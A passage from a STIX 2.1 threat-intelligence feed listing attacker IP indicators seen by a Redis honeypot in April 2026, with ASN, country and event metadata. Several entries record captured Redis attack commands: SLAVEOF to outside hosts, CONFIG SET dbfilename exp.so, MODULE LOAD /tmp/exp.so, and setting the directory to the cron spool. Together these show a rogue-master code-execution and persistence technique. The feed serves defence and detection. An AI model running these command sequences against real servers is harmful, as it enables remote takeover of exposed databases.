      "valid_until": "2026-05-16T09:25:04.000Z"
    },
    {
      "created": "2026-04-14T13:26:41.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--8e2e98c6-5888-4fc9-ae89-7cd66f868578",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-14T13:26:41.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.92.27.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T13:26:41.000Z",
      "valid_until": "2026-05-16T13:25:09.000Z"
    },
    {
      "created": "2026-04-14T17:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--05a37e5f-4bcc-4af7-86a9-97c77468bfd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T17:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '39.107.103.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T17:25:12.000Z",
      "valid_until": "2026-05-16T17:25:10.000Z"
    },
    {
      "created": "2026-04-14T19:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--44b664ae-ce5d-40ec-aab5-e975508a21ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T19:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.169.104.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T19:25:12.000Z",
      "valid_until": "2026-05-16T19:25:10.000Z"
    },
    {
      "created": "2026-04-15T03:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--ecac0f92-0d7b-4598-8740-796c7bf49f08",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-15T03:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.230.95.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T03:25:12.000Z",
      "valid_until": "2026-05-17T03:25:09.000Z"
    },
    {
      "created": "2026-04-15T04:26:55.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=BG; asn=48090; asn_org=Techoff Srv Limited; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e14a265a-d4e0-4500-90d4-665d124842e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T04:26:55.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.178.110.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T04:26:55.000Z",
      "valid_until": "2026-05-17T04:25:18.000Z"
    },
    {
      "created": "2026-04-15T07:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--08cd7a19-8624-4105-88ce-a6e1368f12ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T07:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T07:25:13.000Z",
      "valid_until": "2026-05-17T07:25:10.000Z"
    },
    {
      "created": "2026-04-15T08:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--9013458c-43e2-4e43-b785-56d2893c6358",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-15T08:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '175.178.24.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T08:25:12.000Z",
      "valid_until": "2026-05-17T08:25:10.000Z"
    },
    {
      "created": "2026-04-15T16:26:21.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--c7e96d16-cee6-4ab1-8096-06e9e4477f16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:26:21.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:26:21.000Z",
      "valid_until": "2026-05-17T16:25:03.000Z"
    },
    {
      "created": "2026-04-15T18:26:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--328a7d53-b92e-4c38-a9e7-291fcc38e234",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T18:26:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.168.120.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T18:26:09.000Z",
      "valid_until": "2026-05-17T18:25:09.000Z"
    },
    {
      "created": "2026-04-15T18:26:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--ad2153b4-8642-4286-98eb-bfbe8c4e130a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T18:26:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.177.119.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T18:26:09.000Z",
      "valid_until": "2026-05-17T18:25:09.000Z"
    },
    {
      "created": "2026-04-15T18:26:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T18:26:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T18:26:09.000Z",
      "valid_until": "2026-05-17T18:25:09.000Z"
    },
    {
      "created": "2026-04-15T18:26:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--d806a66e-799a-48e8-9462-888c98f391da",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-15T18:26:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T18:26:09.000Z",
      "valid_until": "2026-05-17T18:25:09.000Z"
    },
    {
      "created": "2026-04-15T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--4acc3a34-b13c-4b16-b1b0-b4114c4fe50b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-15T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '112.124.51.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T19:25:10.000Z",
      "valid_until": "2026-05-17T19:25:09.000Z"
    },
    {
      "created": "2026-04-15T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--c69f9b17-ccf7-4bbd-89ae-837db1946a1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.223.111.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T19:25:10.000Z",
      "valid_until": "2026-05-17T19:25:09.000Z"
    },
    {
      "created": "2026-04-15T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--ef78c7dd-31e4-44af-8dab-8f099fa3a117",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.223.169.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T19:25:10.000Z",
      "valid_until": "2026-05-17T19:25:09.000Z"
    },
    {
      "created": "2026-04-15T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-15T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.50.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T21:25:10.000Z",
      "valid_until": "2026-05-17T21:25:09.000Z"
    },
    {
      "created": "2026-04-15T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--644cbc41-5669-4121-a3b6-77861d09734f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-15T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '27.152.56.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T21:25:10.000Z",
      "valid_until": "2026-05-17T21:25:09.000Z"
    },
    {
      "created": "2026-04-16T03:25:32.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=96; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0; cmd=\"...L..C.....p.)...r.......curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group\"",
      "id": "indicator--f8956b90-5815-4dab-92c1-838d4ba79c00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T03:25:32.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.151.241.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:25:32.000Z",
      "valid_until": "2026-05-18T03:25:15.000Z"
    },
    {
      "created": "2026-04-16T03:25:32.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--5689e941-679c-401f-86e8-ae22081154e2",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-16T03:25:32.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:25:32.000Z",
      "valid_until": "2026-05-18T03:25:15.000Z"
    },
    {
      "created": "2026-04-16T03:25:32.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--20648bee-b5c1-468d-bb19-eb2684bd7a40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T03:25:32.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:25:32.000Z",
      "valid_until": "2026-05-18T03:25:15.000Z"
    },
    {
      "created": "2026-04-16T04:25:32.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--b6b6d54b-9424-4638-b3c7-543ef3d726e9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-16T04:25:32.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:25:32.000Z",
      "valid_until": "2026-05-18T04:25:10.000Z"
    },
    {
      "created": "2026-04-16T04:25:32.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--ac7f83c8-1928-4331-8ca8-ef68658e7dd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T04:25:32.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.169.104.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:25:32.000Z",
      "valid_until": "2026-05-18T04:25:10.000Z"
    },
    {
      "created": "2026-04-16T09:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=1; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--1e50823c-78f7-4ff4-8ab6-b8bbc3fbaac8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-16T09:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '124.117.192.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T09:25:11.000Z",
      "valid_until": "2026-05-18T09:25:09.000Z"
    },
    {
      "created": "2026-04-16T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--9d18e0b1-1409-4b74-9da5-97d379dfc212",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.175.198.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T10:25:10.000Z",
      "valid_until": "2026-05-18T10:25:09.000Z"
    },
    {
      "created": "2026-04-16T16:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=39; ports=6379; cc=KR; asn=4766; asn_org=Korea Telecom; redis_cmds=save,CONFIG SET dbfilename exp.so,SLAVEOF 185.202.223.90 9659,config set dir /var/spool/cron/,config set dir .; redis_cmd_hits=0; cmd=\"config set dbfilename dump.rdb\"",
      "id": "indicator--b71901ee-a266-4ba6-8409-89ef5d2c4ca4",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-16T16:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.95.208.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T16:25:14.000Z",
      "valid_until": "2026-05-18T16:25:04.000Z"
    },
    {
      "created": "2026-04-16T19:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--4922af1e-b81b-4f6c-85cd-5e188b20cf88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T19:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '167.71.110.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T19:25:18.000Z",
      "valid_until": "2026-05-18T19:25:16.000Z"
    },
    {
      "created": "2026-04-17T01:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=PT; asn=211680; asn_org=Sistemas Informaticos, S.A.; redis_cmd_hits=0",
      "id": "indicator--72f5f799-77c8-43d3-ae96-4fb1494a07d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T01:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T01:25:11.000Z",
      "valid_until": "2026-05-19T01:25:10.000Z"
    },
    {
      "created": "2026-04-17T03:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=39; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmds=CONFIG SET dbfilename exp.so,config set dbfilename root,MODULE LOAD /tmp/exp.so,config set rdbcompression no,config set dir .; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--55348683-e22c-4d04-8d81-b81c61d8f3d1",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-17T03:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '112.124.33.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:25:11.000Z",
      "valid_until": "2026-05-19T03:25:09.000Z"
    },
    {
      "created": "2026-04-17T03:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=AU; asn=7545; asn_org=TPG Telecom Limited; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--db4fff6d-4c46-4889-bcba-cea281048221",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-17T03:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '115.64.43.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:25:11.000Z",
      "valid_until": "2026-05-19T03:25:09.000Z"
    },
    {
      "created": "2026-04-17T03:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=39; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmds=CONFIG SET dbfilename exp.so,SLAVEOF 47.95.124.226 60136,MODULE LOAD /tmp/exp.so,config set dbfilename root,config set rdbcompression no; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--ad44c692-f060-4eec-b174-737aacaa6acb",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-17T03:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.94.133.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:25:11.000Z",
      "valid_until": "2026-05-19T03:25:09.000Z"
    },
    {
      "created": "2026-04-17T04:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--d1de4275-fa25-4bff-a718-97502f11a16d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T04:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T04:25:11.000Z",
      "valid_until": "2026-05-19T04:25:09.000Z"
    },
    {
      "created": "2026-04-17T07:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--647245a3-c3cc-4231-8ec1-ee934726d737",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T07:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T07:25:11.000Z",
      "valid_until": "2026-05-19T07:25:09.000Z"
    },
    {
      "created": "2026-04-17T10:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--d32c3ae0-33f2-4904-baac-b5a630ac877e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T10:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.12.240.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T10:25:11.000Z",
      "valid_until": "2026-05-19T10:25:09.000Z"
    },
    {
      "created": "2026-04-17T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=134756; asn_org=CHINANET Nanjing Jishan IDC network; redis_cmd_hits=0",
      "id": "indicator--220ffc9b-7724-482a-9a2a-ab4db7236b84",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-17T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.154.133.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T15:25:10.000Z",
      "valid_until": "2026-05-19T15:25:09.000Z"
    },
    {
      "created": "2026-04-17T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--23f09a5d-09aa-4a71-89fa-b693bfebfe02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T15:25:10.000Z",
      "valid_until": "2026-05-19T15:25:09.000Z"
    },
    {
      "created": "2026-04-17T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--92c666b0-cc2b-477b-9252-124f5bef2791",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-17T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T15:25:10.000Z",
      "valid_until": "2026-05-19T15:25:09.000Z"
    },
    {
      "created": "2026-04-17T17:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=39; ports=6379; cc=HK; asn=132203; asn_org=Tencent Building, Kejizhongyi Avenue; redis_cmds=MODULE LOAD /tmp/exp.so,config set rdbcompression yes,MODULE UNLOAD system,config set dir .,config set dbfilename root; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--8343d52a-1f0b-46e1-9983-011b8a741b29",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-17T17:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '124.156.169.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:25:11.000Z",
      "valid_until": "2026-05-19T17:25:10.000Z"
    },
    {
      "created": "2026-04-17T17:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode,Misc activity,Not Suspicious Traffic; redis_cmd_hits=0",
      "id": "indicator--f91d21b7-69bd-4ad9-a260-dd2f0b76dfb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T17:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.241.144.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:25:11.000Z",
      "valid_until": "2026-05-19T17:25:10.000Z"
    },
    {
